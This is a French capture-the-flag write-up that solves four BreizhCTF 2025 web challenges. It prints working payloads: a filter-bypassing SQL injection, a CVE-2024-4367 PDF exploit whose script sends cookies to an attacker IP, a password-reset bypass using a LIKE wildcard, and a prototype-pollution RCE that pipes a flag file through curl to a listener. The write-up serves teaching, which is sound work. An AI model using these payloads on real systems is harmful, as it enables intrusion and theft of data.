Information#
CTF#
- Nom : BreizhCTF 2k25
- Site web : www.breizhctf.com
- Type : Sur site — France — Rennes
- Format : Jeopardy
Web - CurlMania#
Vous n'avez qu'une seule chose à faire, suivre les instructions...
Auteur : Mika
Le site https://curlmania.ctf.bzh/ nous donnera le flag si nous réussissons à envoyer une requête HTTP respectant toutes les règles édictées (avec curl).
Une première tentative est la suviante :
curl https://curlmania.ctf.bzh/1337?a=1&b=2&c=35 --user-agent "J'aime la galette saucisse" \
-X GET -H 'LIBEREZ-GCC: OUI' -H 'Cookie: jaiplustropdinspi=1' -H 'content-type: application/json' \
-d '{"enbretagne":"il fait toujours beau"}' -H 'content-length: 1337' \
-H "referer: Je jure solennellement que mes intentions sont mauvaises mais je ne vais pas taper sur l'infra"
Mais le problème est que curl calcule automatiquement le content-length
, donc 2 en-têtes sont envoyés et le dernier seulement sera pris en compte par le serveur (38 aura la précédence sur 1337).
> GET /1337?a=1&b=2&c=35 HTTP/2
> Host: curlmania.ctf.bzh
> User-Agent: J'aime la galette saucisse
> Accept: */*
> LIBEREZ-GCC: OUI
> Cookie: jaiplustropdinspi=1
> content-type: application/json
> referer: Je jure solennellement que mes intentions sont mauvaises mais je ne vais pas taper sur l'infra
> content-lenght: 1337
> Content-Length: 38
Le plus simple reste peut-être de faire passer la sortie de curl dans Burp (avec l'option -x
de curl) et de virer le second en-tête et de désactiver Update Content-Length dans les options du Burp Repeater.
curl https://curlmania.ctf.bzh/1337?a=1&b=2&c=35 --user-agent "J'aime la galette saucisse" \
-X GET -H 'LIBEREZ-GCC: OUI' -H 'Cookie: jaiplustropdinspi=1' -H 'content-type: application/json' \
-d '{"enbretagne":"il fait toujours beau"}' -H 'content-length: 1337' \
-H "referer: Je jure solennellement que mes intentions sont mauvaises mais je ne vais pas taper sur l'infra" \
-x http://127.0.0.1:8080 -k
Sauf que ça ne fonctionne pas et fait planter le serveur avec l'erreur RST_STREAM received error with code: 0x01 (Protocol error detected)
.
On ne peut pas injecter du contenu arbitrairement dans les données comme une valeur précise est attendu et qu'il ne doit pas y avoir d'autres noeuds. Par contre, on peut toujours ajouter arbitrairement des espaces à la fin jusqu'à ce que la taille fasse 1337 au lieu de 38.
Cela sera plus simple à faire programmatiquement en Ruby.
Le site https://curlconverter.com/ permet de convertir une commande curl dans n'importe quel langage. Il reste just à éditer le code converti afin d'ajouter des espaces à la fin fin du corps du message HTTP.
require 'net/http'
require 'json'
uri = URI('https://curlmania.ctf.bzh/1337')
params = {
a: '1',
b: '2',
c: '35'
}
uri.query = URI.encode_www_form(params)
req = Net::HTTP::Get.new(uri)
req.content_type = 'application/json'
req['LIBEREZ-GCC'] = 'OUI'
req['Cookie'] = 'jaiplustropdinspi=1'
# req['content-length'] = '1337'
req['referer'] = "Je jure solennellement que mes intentions sont mauvaises mais je ne vais pas taper sur l'infra"
req['User-Agent'] = "J'aime la galette saucisse"
# req.body = {
# 'enbretagne' => 'il fait toujours beau'
# }.to_json
req.body = '{"enbretagne":"il fait toujours beau"}' + ' ' * (1337 - 38)
req_options = {
use_ssl: uri.scheme == 'https'
}
res = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|
http.request(req)
end
puts res.body
BZHCTF{W0w_You_KnoW_H0w_To_FLLW_INSTRXCTIONS!!}
Web - Designer#
Un nouveau SaaS ennuyeux a publié son application inutile, qui devrait vous aider à générer des boutons/liens HTML sans avoir à écrire de code... Selon nous, il n'y a pas d'utilité spécifique à ce truc. Néanmoins, ils semblent récompenser les personnes qui peuvent trouver des vulnérabilités sur leurs produits avec des flags.
Auteur : Mika
Il y a une interface /designer
qui génère un bouton HTML avec tout un tas d'attributs et qui peut s'auto-exécuter. L'interface garde toutes les valeurs choisies sous forme de paramètre GET.
De l'autre côté, il y a l'interface /report
qui permet de soumettre une URL qu'un bot viendra consulter.
Normalement, on pense directement XSS. Mais ce n'est pas nécessaire ici. Dans le code du bot, on voit que le flag est injecté dans le User-Agent
du bot. Il suffit donc que le bot nous contacte pour récupérer la valeur de l'en-tête.
Dans l'attribut style
, il y a donc juste à changer :
-background: linear-gradient(135deg, #6e8efb, #a777e3);
+background: url("http://10.50.104.5:9999");
Et donc soumettre l'URL suivante http://designer-85.chall.ctf.bzh/designer?command=none&type=button&name=&form=&style=background%3A+url("http%3A%2F%2F10.50.104.5%3A9999")%3B+color%3A+white%3B+padding%3A+12px+24px%3B+font-size%3A+16px%3B+border%3A+none%3B+border-radius%3A+8px%3B+box-shadow%3A+0+4px+10px+rgba(0%2C+0%2C+0%2C+0.2)%3B&hreflang=none&rel=none&target=_blank&autoclick=on sur http://designer-85.chall.ctf.bzh/report .
Avec bien sûr un service en écoute :
➜ ncat -nlvp 9999
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.84.53.162:53142.
GET / HTTP/1.1
Host: 10.50.104.5:9999
Connection: keep-alive
Accept-Language: en-US,en;q=0.9
User-Agent: BZHCTF{P1Ng_P0nG_1s_4w3s0m3_D0_Y0u_4Gr33?}
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://localhost/
Accept-Encoding: gzip, deflate
Web - GORMiti#
Il y a fort longtemps, un monde merveilleux de combat épique pour sauver la nature a vu le jour. Ce monde, nous l'avons admiré, nous l'avons aimé, nous l'avons vécu. A travers la télévision, la magie des Gormitis nous a transporté dans un monde où la nature est reine. Alors pour rendre hommage à ce monde, j'ai décidé d'ouvrir mon propre blog sur l'histoire de gormiti. C'est encore en version beta, mais j'ai fait attention à tout bien sécuriser !
Auteur : Al-oxos
En lisant le code source, le flag est inséré dans une table secrète qu'il va falloir lire à l'aide d'une SQLi.
flagValue := os.Getenv("FLAG")
if flagValue == "" {
flagValue = "BZHCTF{FAKE_FLAG}"
}
var secretCount int64
db.Model(&Secret{}).Count(&secretCount)
if secretCount == 0 {
db.Create(&Secret{Flag: flagValue})
On ne peut pas taper sur la route /search
à cause de la conf nginx mais pas de soucis pour taper sur /post/<id>
.
server {
listen 80;
location / {
proxy_pass http://app:8080/;
}
location ~ ^/post/([0-9]+)$ {
proxy_pass http://app:8080/post/$1;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}
location /search {
deny all;
}
}
Mais le paramètre ID
est filtré avec la fonction Sanitize()
.
router.GET("/post/:id", func(c *gin.Context) {
id := c.Param("id")
safeID := Sanitize(id)
var post Post
if err := db.First(&post, safeID).Error; err != nil {
c.String(http.StatusNotFound, "Post introuvable")
return
}
c.HTML(http.StatusOK, "post.html", gin.H{"post": post})
})
La fonction Sanitize()
nous bloque quelques caractères et mots clés SQL.
func Sanitize(input string) string {
s := input
s = strings.ReplaceAll(s, "'", "")
s = strings.ReplaceAll(s, "\"", "\\\"")
s = strings.ReplaceAll(s, ";", "")
reOr := regexp.MustCompile(`(?i)or`)
s = reOr.ReplaceAllString(s, "")
reUnion := regexp.MustCompile(`(?i)union`)
s = reUnion.ReplaceAllString(s, "")
reSelect := regexp.MustCompile(`(?i)select`)
s = reSelect.ReplaceAllString(s, "")
reFrom := regexp.MustCompile(`(?i)from`)
s = reFrom.ReplaceAllString(s, "")
s = strings.ReplaceAll(s, "--", "")
s = strings.ReplaceAll(s, "/*", "")
s = strings.ReplaceAll(s, "*/", "")
return s
}
Mais l'ordre à une importance. Commes les charges utiles interdites sont remplacées par rien / sont supprimées, on peut s'en servir pour contourner le filtre.
Par exemple, --
est supprimé après union
ou select
, donc sel--ect
une fois filtré donnera select
.
Par exemple, /post/1 OR 1=1
ne fonctionne pas, mais /post/1 O--R 1=1
retourne bien la page.
Il suffit donc de faire : /post/1 UN--ION SE--LECT 1,2,3,flag,5 FR--OM secrets
pour sélectionner la colonne flag
dans la table secrets
et l'afficher à la place de l'article.
GET /post/1%20UN--ION%20SE--LECT%201,2,3,flag,5%20FR--OM%20secrets HTTP/1.1
Host: gormiti-85.chall.ctf.bzh
Accept-Language: fr-FR,fr;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://gormiti-85.chall.ctf.bzh/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
BZHCTF{G0rM1t1_1s_4m4z1ng_3v3n_w1th_h2c_smuggl1ng_4nd_sQL1}
Web - Instead#
J'ai commencé à résoudre ce défi pendant la compétition et l'ai fini à la maison avec le conteneur Docker après la fin de l'évènement.
Un de vos clients vient de créer un site web pour les professionnels à l'aide de son alternant. Apparemment, leur objectif est de concurrencer Linkedin et X ! On vous demande donc d'auditer ce site à l'aide du code source fourni. Prouvez à votre client que parfois, il vaut mieux faire appel à des professionnels.
Auteur : Al-oxos
Il y a une fonctionnalité pour téléverser un CV en PDF sur son profil et une fonctionnalité de prévisualisation basé sur "pdfjs-dist": "4.1.392",
qui est vulnérable à une injection de code JavaScript :
Le CV PDF est affiché sur le profil d'un utilisateur que l'on peut ensuite signaler et qu'un bot ira voir.
Le PDF de démo déclenche bien une alerte XSS contenant l'origine et l'URL du PDF :
origin: https://instead-85.chall.ctf.bzh, pdf url: https://instead-85.chall.ctf.bzh/cv/25944f8e-65ac-47ec-b6b0-209ecf307aee
On peut donc utiliser un PoC pour personnaliser la charge utile.
fetch('https://10.50.104.5',{method: 'POST',mode: 'no-cors',body: 'prout'});
Le bot utilise le chromium du système qui est un Debian bookworm. La version de chromium devrait donc être au maximum 134.0.6998.35 ou 134.0.6998.88 selon https://repology.org/project/chromium/versions.
➜ python CVE-2024-4367.py "fetch('https://10.50.104.5',{method: 'POST',mode: 'no-cors',body: document.cookie});"
[+] Created malicious PDF file: poc.pdf
[+] Open the file with the vulnerable application to trigger the exploit.
➜ sudo ncat --ssl -nlvp 443
[sudo] Mot de passe de noraj :
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: 77DC B076 F8CE 4514 0D5A DCDE 608B 6598 B992 B9F5
Ncat: Listening on [::]:443
Ncat: Listening on 0.0.0.0:443
Le problème est que le signalement ne fait qu'envoyer le bot sur le profil d'un utilisateur et que cette page ne contient pas le CV et donc la XSS. Il faut trouver un moyen de rediriger le bot sur le CV.
Si l'on regarde routes.js
, on s'aperçoit que le signalement est géré par publicController.reportUser
.
router.get("/cv/:id", authMiddleware, profileController.previewCV);
…
router.get("/user/report/:id",authMiddleware, publicController.reportUser);
La fonction est la suivante :
const reportUser = async (req, res) => {
const id = req.params.id;
if (!/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/i.test(id)) {
return res.status(400).json({ error: 'L\'ID doit être un UUIDv4.' });
}
try {
visitUserReport(id);
return res.redirect(`/user/${id}`);
}
catch (e) {
return res.status(500).json({ error: 'Erreur lors de la visite du profil.' });
}
};
Il y a un problème avec l'expression régulière, elle vérifie bien qu'il s'agit d'un UUID mais ne vérifie pas que c'est la fin de la chaîne de caractères avec un $
.
Par conséquent, si l'on veut rediriger le bot vers /cv/31f1c774-9fde-4bd4-a31e-016b97cd3213
, il faut demander l'ID 68a31daf-a7b8-48ff-b8fc-2e7a916cd9de/../../../cv/31f1c774-9fde-4bd4-a31e-016b97cd3213
et encoder les /
afin que cela ne soit pas traité comme le chemin directement par le serveur web, mais bien considéré la valeur de id
.
GET /user/report/68a31daf-a7b8-48ff-b8fc-2e7a916cd9de%2f..%2f..%2f..%2fcv%2f31f1c774-9fde-4bd4-a31e-016b97cd3213 HTTP/1.1
Host: localhost:5000
sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im5vcmFqIiwicm9sZSI6Imd1ZXN0IiwiaWF0IjoxNzQyMTU5MTg0LCJleHAiOjE3NDIxNjYzODR9.NdcnSL243UDUeqPI77Wr2kqqEYl3uTUtnHzGHyZ90Fg
Connection: keep-alive
Le problème est que le cookie est en httpOnly
, on ne recevra donc pas le cookie jwt
.
➜ sudo ncat --ssl -nlvp 443
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: 5618 C88D D8E6 ACFC A751 59C6 9244 57C2 7D57 5B8D
Ncat: Listening on [::]:443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 172.17.0.3:55812.
POST / HTTP/1.1
Host: 10.0.2.15
Connection: keep-alive
Content-Length: 0
sec-ch-ua-platform: "Linux"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.0.0 Safari/537.36
sec-ch-ua: "Not:A-Brand";v="24", "Chromium";v="134"
Content-Type: text/plain;charset=UTF-8
sec-ch-ua-mobile: ?0
Accept: */*
Origin: http://127.0.0.1:5000
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:5000/
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Normalement, les formulaires de réinitialisation de mot de passe sont protégés par un jeton anti-CSRF et la XSS permet de le voler afin de réinitialiser le mot de passe du compte. Ici pas de jeton anti-CSRF. Par contre, un jeton de réinitialisation est demandé, et l'envoi à l'utilisateur n'est pas implémenté donc impossible de le deviner.
const resetPassword = async (req, res) => {
const newPassword = req.body.newPassword;
const username = req.user.username;
const providedToken = req.body.resetToken;
try{
await User.generateResetToken(username);
/* TODO : Réaliser un envoie de mail pour le reset du mot de passe
On attends que les mails soient pris en compte dans la création de l'utilisateur */
await User.checkResetToken(username, providedToken);
await User.resetPassword(username, hashPassword(newPassword));
return res.redirect("/profile");
}
catch(e){
if (e.message.includes("Token invalide")) {
return res.status(400).json({ message: "Token invalide" });
}
return res.status(500).json({message: "Erreur lors de la réinitialisation du mot de passe"});
}
};
Toutefois, on peut voir que la comparaison du jeton est fait avec un LIKE
, donc en injectant un %
nous aurons une injection SQL qui valide la réinitialisation de mot de passe.
User.checkResetToken = async function(username, providedToken) {
try {
const user = await this.findOne({
where: {
username,
resetToken: { [Op.like]: providedToken },
resetTokenExpiration: { [Op.gte]: new Date() }
}
});
if (!user) {
throw new Error("Token invalide");
}
return user;
} catch (e) {
throw new Error("Erreur lors de la vérification du token: " + e.message);
}
};
Pour plus de praticité, j'ai utilisé toxssin afin d'avoir toujours la même charge utile dans le PDF et de ne pas avoir à le régénérer et re-téléverser à chaque modification.
➜ python CVE-2024-4367.py "document.write('<script src=https://10.0.2.15/handler.js></script>')"
[+] Created malicious PDF file: poc.pdf
[+] Open the file with the vulnerable application to trigger the exploit.
Par la suite, je reçois la connexion du bot et exécute reinit_mdp.js
.
[00:39:04] [Request] Received request for toxin! MITM attack launched against victims's browser!
├─[Client-IP] -> 172.17.0.3
├─[Origin] -> http://127.0.0.1:5000
├─[User-Agent] -> Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.0.0 Safari/537.36
└─[State] -> Being logged in the background
[00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful!
[00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful!
[00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful!
[00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful!
[00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful!
[00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful!
[00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful!
[00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful!
[00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful!
[00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful!
[00:39:04] [Spider] Received request for toxin from an active session. XSS persistence was successful!
toxssin > sessions
---------------------- ( Sessions ) ----------------------
…
Session id: c222198fd811464aab27553882a1d5b8
Data: {'ip': '172.17.0.3', 'origin': 'http://127.0.0.1:5000', 'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.0.0 Safari/537.36', 'cookie': 'TOXSESSIONID=c222198fd811464aab27553882a1d5b8'}
Total: 4
----------------------------------------------------------
toxssin > exec /home/noraj/ctf/BreizhCTF2025/reinit_mdp.js c222198fd811464aab27553882a1d5b8
Script appended for execution. Awaiting results.
[00:39:22] [Custom Script Exec] [SID: c222198fd811464aab27553882a1d5b8] Script /home/noraj/ctf/BreizhCTF2025/reinit_mdp.js executed without error(s). Output:
[object Promise]
reinit_mdp.js
contient de quoi changer le mot de passe de l'admin en password
.
fetch('/profile/reset-password',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'newPassword=password&resetToken=%'})
On peut dorénavant se connecter avec admin
/ password
et accéder au tableau de bord d'administration.
À partir d'ici, que faire ? En lisant le code, vous avez probablement tous vu :
flag.txt
n'est sourcé nulle part dans le code, il va falloir RCE pour le lire- la fonction
SafeMerge
dansutils.js
qui appelle à de la pollution de prototype
Sur le tableau de bord d'administration, on voit que la fonction exec()
est appelé sur getHealthcheckCommand()
.
const adminDashboard = async (req, res) => {
try {
const user = await User.getUserWithUsername(req.user.username);
await updateStats();
const services = getHealthcheckCommand();
exec(services, { timeout: 5000 }, (error, stdout, stderr) => {
if (error) {
return res.status(500).send("Erreur lors du chargement du dashboard: " + error.message);
}
const result = stdout.trim();
return res.render('adminDashboard', { user: user,stats: adminConfig.stats, healthcheck: result });
});
}
catch (e) {
console.error("Erreur dans adminDashboard:", e);
return res.status(500).send("Erreur lors du chargement du dashboard: " + e.message);
}
};
La fonction getHealthcheckCommand()
exécutera service.debugHealthcheck
si adminConfig.debug
est activé (désactivé par défaut).
const getHealthcheckCommand = (req, res) => {
if (!adminConfig.showOption.display) {
return "echo Service désactivé";
}
if(adminConfig.debug) {
if (service.debugHealthcheck && service.debugHealthcheck !== "") {
return service.debugHealthcheck;
}
}
return healthcheck;
};
La pollution de prototype servira alors à définir une fonction service.debugHealthcheck
pour RCE.
Pour déclencher la pollution de prototype, il faut déclencher SafeMerge()
dans updateConfig
. Dans l'UI cela se fera via le menu Modifier la configuration
.
Pour exploiter SafeMerge()
, il faudra utiliser une ruse Unicode. En effet, une normalisation avec décomposition NFKC est effectuée après le filtre qui vérifie la présence de __proto__
au lieu de le faire avant. Une erreur qui va nous permettre de contourner la protection anti-PP.
export const SafeMerge = (target, source) => {
Object.keys(source).forEach(Key => {
if (["__proto__", "prototype", "constructor"].includes(Key)) return;
const escKey = Key.normalize("NFKC");
const sourceValue = source[Key];
if (typeof target[escKey] !== "undefined" && typeof sourceValue === "object" && sourceValue !== null) {
target[escKey] = SafeMerge(target[escKey], sourceValue);
} else {
target[escKey] = sourceValue;
}
});
return target;
}
Plusieurs caractères Unicode peuvent donner un _
(U+005F) une fois normalisé avec NFKC comme _
(U+FF3F).
La requête avec la pollution de prototype en JSON ressemblera alors à ça :
POST /admin/dashboard/config HTTP/1.1
Host: localhost:5000
Content-Length: 159
sec-ch-ua-platform: "Linux"
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: */*
Origin: http://localhost:5000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:5000/admin/dashboard
Accept-Encoding: gzip, deflate, br
Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJpYXQiOjE3NDIxNzI1NzQsImV4cCI6MTc0MjE3OTc3NH0.MxVTZNdiUAAcHDOLctY3QdrdSR57fyCY1Sj91p0kpmUbb
Connection: keep-alive
{
"showOption": {
"display": true
},
"debug": true,
"\uff3f\uff3fproto\uff3f\uff3f": {
"debugHealthcheck": "curl -k https://10.0.2.15:9999/$(cat /app/flag.txt|base64)"
}
}
Ce qui permet de recevoir le flag.
➜ sudo ncat --ssl -nlvp 9999
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: 03FC 5C96 D7F9 3FDF 80FB EEFA 6A1C D6E0 475A 8D40
Ncat: Listening on [::]:9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 172.17.0.3:50158.
GET /QlpIQ1RGe0Zha2VfRmxhZ30= HTTP/1.1
Host: 10.0.2.15:9999
User-Agent: curl/7.88.1
Accept: */*
➜ printf %s 'QlpIQ1RGe0Zha2VfRmxhZ30=' | base64 -d
BZHCTF{Fake_Flag}